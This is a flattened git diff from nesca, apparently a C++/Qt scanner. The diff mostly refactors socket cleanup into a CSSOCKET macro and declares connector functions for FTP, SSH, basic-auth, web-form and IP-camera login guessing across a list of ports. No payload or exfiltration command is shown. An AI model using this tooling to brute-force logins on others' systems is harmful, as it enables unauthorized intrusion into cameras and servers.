linger.l_linger = 30; linger.l_linger = 10;
setsockopt(sock, SOL_SOCKET, SO_REUSEADDR, (const char *) &on, sizeof(on)); setsockopt(sock, SOL_SOCKET, SO_REUSEADDR, (const char *) &on, sizeof(on));
setsockopt(sock, SOL_SOCKET, SO_LINGER, (const char *) &linger, sizeof(linger)); setsockopt(sock, SOL_SOCKET, SO_LINGER, (const char *) &linger, sizeof(linger));
fd_set read_fs;
FD_ZERO(&read_fs);
FD_SET(sock, &read_fs);
int iError, iResult = connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr)); int iError, iResult = connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr));
if(iResult == SOCKET_ERROR) if(iResult == SOCKET_ERROR)
{ {
iError = WSAGetLastError(); iError = WSAGetLastError();
while(iError == 10038) while(iError == 10038)
{ {
if(gDebugMode) stt->doEmitionDebugFoundData("[ConnectTo] 10038 occured -- [" + QString(ip) + ":" + QString::number(port) + "]"); if(gDebugMode) stt->doEmitionDebugFoundData("10038 occured - [" + QString(ip) + ":" + QString::number(port) + "]");
shutdown(sock, SD_BOTH); CSSOCKET(sock);
closesocket(sock);
sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP );
iResult = connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr)); iResult = connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr));
iError = WSAGetLastError(); iError = WSAGetLastError();
}; };
if(iError == 10035) if(iError == 10035)
{ {
fd_set read_fs;
FD_ZERO(&read_fs);
FD_SET(sock, &read_fs);
timeval tv = { gTimeOut, 0 }; timeval tv = { gTimeOut, 0 };
iResult = select(sock + 1, NULL, &read_fs, NULL, &tv);
iResult = select(sock + 1, NULL, &read_fs, 0, &tv); int cErrCode;
int cErrCode = WSAGetLastError();
while(cErrCode == 10038)
{
if(gDebugMode) stt->doEmitionDebugFoundData("[ConnectTo] 10038 occured -- [" + QString(ip) + ":" + QString::number(port) + "]");
shutdown(sock, SD_BOTH);
closesocket(sock);
FD_CLR(sock, &read_fs);
sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP );
connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr));
iResult = WSAGetLastError();
if(iResult == 10038) continue;
FD_SET(sock, &read_fs);
iResult = select(sock + 1, NULL, &read_fs, 0, &tv);
cErrCode = WSAGetLastError();
};
if (iResult == SOCKET_ERROR) if (iResult == SOCKET_ERROR)
{ {
++offlines; ++offlines;
char temp[128] = {0};
strcpy(temp, "[Omitting IP!] Select error - "); stt->doEmitionRedFoundData("[Omitting IP] Select error - " +
strcat(temp, std::to_string((long double)cErrCode).c_str()); QString(std::to_string((long double)cErrCode).c_str()) +
strcat(temp, " - "); " - " + QString(ip) + ":" + QString(std::to_string((long double)port).c_str()));
strcat(temp, ip);
strcat(temp, ":");
strcat(temp, std::to_string((long double)port).c_str());
strcat(temp, ";");
#pragma region QTGUI_Area
stt->doEmitionRedFoundData(QString(temp));
#pragma endregion
ZeroMemory(temp, sizeof(temp));
} }
else else
{ {
@ -1629,12 +1537,12 @@ int Connector::_EstablishConnection(char *ip, int port, char *requesth, conSTR *
{ {
if(MapWidgetOpened) stt->doEmitionAddOutData(QString(ip), QString(request)); if(MapWidgetOpened) stt->doEmitionAddOutData(QString(ip), QString(request));
Activity += strlen(request); Activity += strlen(request);
int x = 256;
char recvBuff[4096] = {0}; char recvBuff[4096] = {0};
recvBuff2 = new char[RECV_MAX_SIZE]; recvBuff2 = new char[RECV_MAX_SIZE];
ZeroMemory(recvBuff2, RECV_MAX_SIZE); ZeroMemory(recvBuff2, RECV_MAX_SIZE);
int bTO; int bTO;
int x = 256;
while (x > 0) while (x > 0)
{ {
ZeroMemory(recvBuff, sizeof(recvBuff)); ZeroMemory(recvBuff, sizeof(recvBuff));
@ -1647,9 +1555,7 @@ int Connector::_EstablishConnection(char *ip, int port, char *requesth, conSTR *
delete[] recvBuff2; delete[] recvBuff2;
recvBuff2 = NULL; recvBuff2 = NULL;
FD_CLR(sock, &read_fs); CSSOCKET(sock);
shutdown(sock, SD_BOTH);
closesocket(sock);
++Overl; ++Overl;
CSTR->lowerBuff = new char[11]; CSTR->lowerBuff = new char[11];
@ -1663,89 +1569,40 @@ int Connector::_EstablishConnection(char *ip, int port, char *requesth, conSTR *
else else
{ {
++offlines; ++offlines;
char temp[128] = {0}; stt->doEmitionRedFoundData("Send error " + QString(ip) + " - " + QString(std::to_string((long double)WSAGetLastError()).c_str()));
strcpy(temp, "Send error! - "); };
strcat(temp, std::to_string((long double)WSAGetLastError()).c_str()); };
strcat(temp, " - "); };
strcat(temp, ip); }
strcat(temp, "; sock: "); else
strcat(temp, std::to_string((long double)sock).c_str()); {
++offlines;
if(iError == 10055)
{
stt->doEmitionRedFoundData("[SOCKERR 10055] " + QString("Connection pool depleted ") + QString(ip) + ":" + QString::number(port));
}
else if(iError == 10049)
{
stt->doEmitionRedFoundData("[ADDR_NOT_AVAIL] " + QString(ip) +
":" + QString(std::to_string((long double)port).c_str()) +
" - " + std::to_string((long double)iError).c_str());
}
else
{
stt->doEmitionRedFoundData("[Unpredictable error] " + QString(ip) +
":" + QString(std::to_string((long double)port).c_str()) +
" - " + std::to_string((long double)iError).c_str());
};
};
}
else
{
stt->doEmitionRedFoundData("[?!] Strange behavior detected - " +
QString(std::to_string((long double)WSAGetLastError()).c_str()) +
" - " + QString(ip) + ":" + QString(std::to_string((long double)port).c_str()));
};
#pragma region QTGUI_Area CSSOCKET(sock);
stt->doEmitionRedFoundData(QString(temp));
#pragma endregion
ZeroMemory(temp, sizeof(temp));
};
};
};
FD_CLR(sock, &read_fs);
shutdown(sock, SD_BOTH);
closesocket(sock);
}
else
{
++offlines;
char temp[128] = {0};
int err = iError;
if(err == 10055)
{
strcpy(temp, "-Connection pool depleted- ");
#pragma region QTGUI_Area
stt->doEmitionRedFoundData("[SOCKERR 10055] " + QString(temp) + QString(ip) + ":" + QString::number(port));
#pragma endregion
shutdown(sock, SD_BOTH);
closesocket(sock);
Sleep(60000);
}
else if(err == 10049)
{
strcpy(temp, "[ADDR_NOT_AVAIL - ");
strcat(temp, ip);
strcat(temp, ":");
strcat(temp, std::to_string((long double)port).c_str());
strcat(temp, " - ");
strcat(temp, std::to_string((long double)err).c_str());
strcat(temp, "]");
#pragma region QTGUI_Area
stt->doEmitionRedFoundData(QString(temp));
#pragma endregion
shutdown(sock, SD_BOTH);
closesocket(sock);
}
else
{
strcpy(temp, "[Unpredictable error - ");
strcat(temp, ip);
strcat(temp, ":");
strcat(temp, std::to_string((long double)port).c_str());
strcat(temp, " - ");
strcat(temp, std::to_string((long double)err).c_str());
strcat(temp, "]");
strcat(temp, "; sock: ");
strcat(temp, std::to_string((long double)sock).c_str());
#pragma region QTGUI_Area
stt->doEmitionRedFoundData(QString(temp));
#pragma endregion
shutdown(sock, SD_BOTH);
closesocket(sock);
};
};
}
else
{
char temp[128] = {0};
strcpy(temp, "[?!] Strange behavior detected - ");
strcat(temp, std::to_string((long double)WSAGetLastError()).c_str());
strcat(temp, " - ");
strcat(temp, ip);
strcat(temp, ":");
strcat(temp, std::to_string((long double)port).c_str());
strcat(temp, "; sock: ");
strcat(temp, std::to_string((long double)sock).c_str());
#pragma region QTGUI_Area
stt->doEmitionRedFoundData(QString(temp));
#pragma endregion
};
if( globalScanFlag == false && force == 0) if( globalScanFlag == false && force == 0)
{ {
@ -1765,7 +1622,7 @@ int Connector::_EstablishConnection(char *ip, int port, char *requesth, conSTR *
delete []recvBuff2; delete []recvBuff2;
recvBuff2 = NULL; recvBuff2 = NULL;
if(HTMLDebugMode) _DebugWriteHTMLToFile(requesth, CSTR->lowerBuff); if(HTMLDebugMode) _DebugWriteHTMLToFile(request, CSTR->lowerBuff);
return 0; return 0;
} }
else else
@ -2240,8 +2097,7 @@ int _webLoginSeq(char *request, char *login, char *pass, char *ip, int port, int
while(cErrCode == 10038) while(cErrCode == 10038)
{ {
shutdown(sock, SD_BOTH); CSSOCKET(sock);
closesocket(sock);
sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP );
cCode = connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr)); cCode = connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr));
cErrCode = WSAGetLastError(); cErrCode = WSAGetLastError();
@ -2255,11 +2111,8 @@ int _webLoginSeq(char *request, char *login, char *pass, char *ip, int port, int
if(send(sock, request, strlen(request), 0) == SOCKET_ERROR) if(send(sock, request, strlen(request), 0) == SOCKET_ERROR)
{ {
#pragma region QTGUI_Area
stt->doEmitionRedFoundData("[" + QString(type) + "] Send error! [" + QString(ip) + "]"); stt->doEmitionRedFoundData("[" + QString(type) + "] Send error! [" + QString(ip) + "]");
#pragma endregion CSSOCKET(sock);
shutdown(sock, SD_BOTH);
closesocket(sock);
return 0; return 0;
} }
else else
@ -2293,15 +2146,13 @@ int _webLoginSeq(char *request, char *login, char *pass, char *ip, int port, int
if(result) if(result)
{ {
shutdown(sock, SD_BOTH); CSSOCKET(sock);
closesocket(sock);
return 1; return 1;
}; };
}; };
}; };
shutdown(sock, SD_BOTH); CSSOCKET(sock);
closesocket(sock);
return 0; return 0;
}; };
lopaStr _IPCameraBrute(char *ip, int port, char *SPEC) lopaStr _IPCameraBrute(char *ip, int port, char *SPEC)

View File

@ -3,6 +3,7 @@
#define SD_BOTH 2 #define SD_BOTH 2
#define PORTSET "80,81,88,8080,8081,60001,60002,8008,8888,554,9000,441,4111,6667,3536,22,21" #define PORTSET "80,81,88,8080,8081,60001,60002,8008,8888,554,9000,441,4111,6667,3536,22,21"
#define IRC_CHAN "iskopasi_lab03" #define IRC_CHAN "iskopasi_lab03"
#define CSSOCKET(Socket) shutdown(Socket, SD_BOTH); closesocket(Socket);
extern QJsonArray *jsonArr; extern QJsonArray *jsonArr;

View File

@ -15,3 +15,4 @@ extern char *_findFirst(char *str, char *delim);
extern void nCleanup(); extern void nCleanup();
extern void getSubStr(char *src, char *startStr, char *endStr, char *dest, int szDest); extern void getSubStr(char *src, char *startStr, char *endStr, char *dest, int szDest);
extern void getSubStrEx(char *src, char *startStr, char *endStr, char *dest, int szDest); extern void getSubStrEx(char *src, char *startStr, char *endStr, char *dest, int szDest);

View File

@ -1,6 +1,6 @@
#pragma once #pragma once
#include "STh.h" #include "STh.h"
#include "resource.h" #include "mainResources.h"
#include "externFunctions.h" #include "externFunctions.h"
#include "externData.h" #include "externData.h"

112
mainResources.h Normal file
View File

@ -0,0 +1,112 @@
#pragma once
#include "base64.h"
#if defined(Q_OS_WIN32)
#pragma once
#include "iostream"
#include <time.h>
#include <process.h>
#include <conio.h>
#include <openssl/ssl.h>
#endif
#if defined(Q_OS_LINUX)
#pragma once
#include <string>
#include <iostream>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <arpa/inet.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <pthread.h>
#include <netdb.h>
#include <errno.h>
#include <fcntl.h>
#include <math.h>
#include <cstring>
#define ZeroMemory(Destination,Length) memset((Destination),0,(Length))
#define Sleep(secs) usleep((secs)*1000)
#define WSAGetLastError() errno
#define closesocket(sock) ::close((sock))
typedef unsigned int UINT;
typedef const char * LPCSTR;
typedef int SOCKET;
typedef hostent HOSTENT;
typedef struct linger LINGER;
typedef int BOOL;
#define INVALID_SOCKET (SOCKET)(~0)
#define SOCKET_ERROR (-1)
#define SD_BOTH 0x02
#define FAR far
#endif
#define MAX_ADDR_LEN 128
#define TITLE_MAX_SIZE 512
#define COOKIE_MAX_SIZE 1024
struct PathStr{
char codepage[32];
char headr[TITLE_MAX_SIZE];
char path[1024];
int flag;
int port;
char ip[MAX_ADDR_LEN];
char cookie[COOKIE_MAX_SIZE];
};
struct lopaStr{
char login[128];
char pass[32];
char other[128];
};
struct conSTR{
char *lowerBuff;
int size;
};
class Lexems
{
public:
int iterationCount, flag;
Lexems()
{
iterationCount = 0;
flag = 0;
};
~Lexems()
{
iterationCount = 0;
};
int _header(char *ip, int port, char str[], Lexems *l, PathStr *ps, std::vector<std::string> *lst, char *rBuff);
int _filler(int p, char* buffcpy, char* ipi, int recd, Lexems *lx, char *hl);
int globalSearchNeg(const char *buffcpy, char *ip, int port);
};
class Connector
{
public:
int _Updater();
lopaStr _FTPLobby(char *ip, int port, PathStr *ps);
lopaStr _BALobby(char *cookie, char *ip, int port, char *path, char *method, char *data);
lopaStr _WFLobby(char *cookie, char *ip, int port, char *methodVal, char *actionVal, char *userVal, char *passVal, char *formVal);
lopaStr _IPCameraBLobby(char *ip, int port, char *SPEC);
int _SSHLobby(char *ip, int port, conSTR *CSTR);
int _EstablishConnection(char *ip, int port, char *request, conSTR *cstr, int force = 0);
int _EstablishSSLConnection(char *ip, int port, char *request, conSTR *cstr);
void _Connect(void *s);
int _ConnectToPort(char *ip, const char *port, char *hl);
};

View File

@ -1,6 +1,6 @@
#include "msgcheckerthread.h" #include "msgcheckerthread.h"
#include "externData.h" #include "externData.h"
#include "resource.h" #include "mainResources.h"
void MSGCheckerThread::doEmitionShowNewMsg(QString str) void MSGCheckerThread::doEmitionShowNewMsg(QString str)
{ {

View File

@ -1350,8 +1350,7 @@ void nesca_3::CheckProxy()
}; };
void nesca_3::slotIRCOfflined() void nesca_3::slotIRCOfflined()
{ {
shutdown(lSock, 2); CSSOCKET(lSock);
closesocket(lSock);
ui->IRCConnectBut->setStyleSheet( ui->IRCConnectBut->setStyleSheet(
" #IRCConnectBut {" " #IRCConnectBut {"
"background-color: qlineargradient(spread:none, x1:1, y1:0, x2:1, y2:1, stop:0.681818 rgba(0, 0, 0, 250), stop:1 rgba(255, 255, 255, 130));" "background-color: qlineargradient(spread:none, x1:1, y1:0, x2:1, y2:1, stop:0.681818 rgba(0, 0, 0, 250), stop:1 rgba(255, 255, 255, 130));"
@ -1421,8 +1420,7 @@ void nesca_3::ConnectToIRCServer()
ui->IRCConnectBut->setText("Connect"); ui->IRCConnectBut->setText("Connect");
ui->ircText->append("<span style=\"color:#efe100;\">[-//-] Disconnected.</span>"); ui->ircText->append("<span style=\"color:#efe100;\">[-//-] Disconnected.</span>");
shutdown(lSock, 2); CSSOCKET(lSock);
closesocket(lSock);
}; };
} }
else else
@ -1808,8 +1806,7 @@ void nesca_3::slotRestartIRC()
{ {
ircPTh->terminate(); ircPTh->terminate();
globalPinger = 0; globalPinger = 0;
shutdown(lSock, 2); CSSOCKET(lSock);
closesocket(lSock);
ircTh->terminate(); ircTh->terminate();
ircTh->start(); ircTh->start();
}; };

Binary file not shown.

View File

@ -1,6 +1,6 @@
#pragma once #pragma once
#include "STh.h" #include "STh.h"
#include "resource.h" #include "mainResources.h"
#include "externData.h" #include "externData.h"
#include "externFunctions.h" #include "externFunctions.h"
@ -462,7 +462,7 @@ void *_tracker()
int test = connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr)); int test = connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr));
if(test == -1) if(test == -1)
{ {
closesocket(sock); CSSOCKET(sock);
#pragma region QTGUI_Area #pragma region QTGUI_Area
stt->doEmitionRedFoundData("[NS-Track] -Cannot connect to balancer! " + QString::number(WSAGetLastError()) + "."); stt->doEmitionRedFoundData("[NS-Track] -Cannot connect to balancer! " + QString::number(WSAGetLastError()) + ".");
#pragma endregion #pragma endregion
@ -473,7 +473,7 @@ void *_tracker()
if(test == -1) if(test == -1)
{ {
closesocket(sock); CSSOCKET(sock);
#pragma region QTGUI_Area #pragma region QTGUI_Area
stt->doEmitionRedFoundData("[NS-Track] -Cannot send to balancer! " + QString::number(WSAGetLastError()) + "."); stt->doEmitionRedFoundData("[NS-Track] -Cannot send to balancer! " + QString::number(WSAGetLastError()) + ".");
#pragma endregion #pragma endregion
@ -496,7 +496,7 @@ void *_tracker()
}; };
if(test == -1) if(test == -1)
{ {
closesocket(sock); CSSOCKET(sock);
#pragma region QTGUI_Area #pragma region QTGUI_Area
stt->doEmitionRedFoundData("[NS-Track] -Cannot recv from balancer! " + QString::number(WSAGetLastError()) + "."); stt->doEmitionRedFoundData("[NS-Track] -Cannot recv from balancer! " + QString::number(WSAGetLastError()) + ".");
#pragma endregion #pragma endregion
@ -514,7 +514,7 @@ void *_tracker()
int ln = t2 - t1 - strlen("http://"); int ln = t2 - t1 - strlen("http://");
if(ln > 64) if(ln > 64)
{ {
closesocket(sock); CSSOCKET(sock);
#pragma region QTGUI_Area #pragma region QTGUI_Area
stt->doEmitionRedFoundData("[NS-Track] -Received server string is not valid!"); stt->doEmitionRedFoundData("[NS-Track] -Received server string is not valid!");
SaveErrorLog("NS-Track", msg, rBuffT); SaveErrorLog("NS-Track", msg, rBuffT);
@ -535,7 +535,7 @@ void *_tracker()
if(y > 64) if(y > 64)
{ {
closesocket(sock); CSSOCKET(sock);
#pragma region QTGUI_Area #pragma region QTGUI_Area
stt->doEmitionRedFoundData("[NS-Track] -Received server string is not valid!"); stt->doEmitionRedFoundData("[NS-Track] -Received server string is not valid!");
#pragma endregion #pragma endregion
@ -545,7 +545,7 @@ void *_tracker()
else else
{ {
strncpy(ndbScriptT, t2, y); strncpy(ndbScriptT, t2, y);
closesocket(sock); CSSOCKET(sock);;
#pragma region QTGUI_Area #pragma region QTGUI_Area
stt->doEmitionGreenFoundData("[NS-Track] -OK! -Fragmented server string aquired! Starting NS-Track loop..."); stt->doEmitionGreenFoundData("[NS-Track] -OK! -Fragmented server string aquired! Starting NS-Track loop...");
#pragma endregion #pragma endregion
@ -554,7 +554,7 @@ void *_tracker()
} }
else else
{ {
closesocket(sock); CSSOCKET(sock);
#pragma region QTGUI_Area #pragma region QTGUI_Area
stt->doEmitionRedFoundData("[NS-Track] -Received server string is not valid!"); stt->doEmitionRedFoundData("[NS-Track] -Received server string is not valid!");
#pragma endregion #pragma endregion
@ -568,13 +568,13 @@ void *_tracker()
#pragma region QTGUI_Area #pragma region QTGUI_Area
stt->doEmitionGreenFoundData("[NS-Track] -OK! -Server string aquired! Starting NS-Track loop..."); stt->doEmitionGreenFoundData("[NS-Track] -OK! -Server string aquired! Starting NS-Track loop...");
#pragma endregion #pragma endregion
closesocket(sock); CSSOCKET(sock);
strncpy(ndbScript, ndbScriptT, strlen(ndbScriptT) - 2 ); strncpy(ndbScript, ndbScriptT, strlen(ndbScriptT) - 2 );
}; };
} }
else else
{ {
closesocket(sock); CSSOCKET(sock);
#pragma region QTGUI_Area #pragma region QTGUI_Area
stt->doEmitionRedFoundData("[NS-Track] -Cannot receive script value!"); stt->doEmitionRedFoundData("[NS-Track] -Cannot receive script value!");
#pragma endregion #pragma endregion
@ -745,9 +745,7 @@ void *_tracker()
} }
else else
{ {
#pragma region QTGUI_Area
stt->doEmitionYellowFoundData("[NS-Track] -FAIL! An error occured [" + QString(msgR) + "]"); stt->doEmitionYellowFoundData("[NS-Track] -FAIL! An error occured [" + QString(msgR) + "]");
#pragma endregion
SaveErrorLog("NS-Track", msg, rBuffT); SaveErrorLog("NS-Track", msg, rBuffT);
}; };
@ -760,20 +758,17 @@ void *_tracker()
msg = 0; msg = 0;
}; };
shutdown(sock, 2); CSSOCKET(sock);
closesocket(sock);
}; };
Sleep(10000); Sleep(10000);
}; };
} }
else else
{ {
shutdown(sock, 2); CSSOCKET(sock);
closesocket(sock);
#pragma region QTGUI_Area
stt->doEmitionRedFoundData("[NS-Track] -Balancer replied with invalid string."); stt->doEmitionRedFoundData("[NS-Track] -Balancer replied with invalid string.");
SaveErrorLog("NS-Track", msg, rBuffT); SaveErrorLog("NS-Track", msg, rBuffT);
#pragma endregion
}; };
}; };

View File

@ -806,12 +806,10 @@ void IRCLoop()
#pragma endregion #pragma endregion
}; };
shutdown(lSock, 2); CSSOCKET(lSock);
closesocket(lSock);
}; };
//}; //};
shutdown(lSock, 2); CSSOCKET(lSock);
closesocket(lSock);
}; };
void oIRC_Th::run() void oIRC_Th::run()

Binary file not shown.

View File

@ -1,6 +1,6 @@
#include "vercheckerthread.h" #include "vercheckerthread.h"
#include "externData.h" #include "externData.h"
#include "resource.h" #include "mainResources.h"
void _checkVer() void _checkVer()
{ {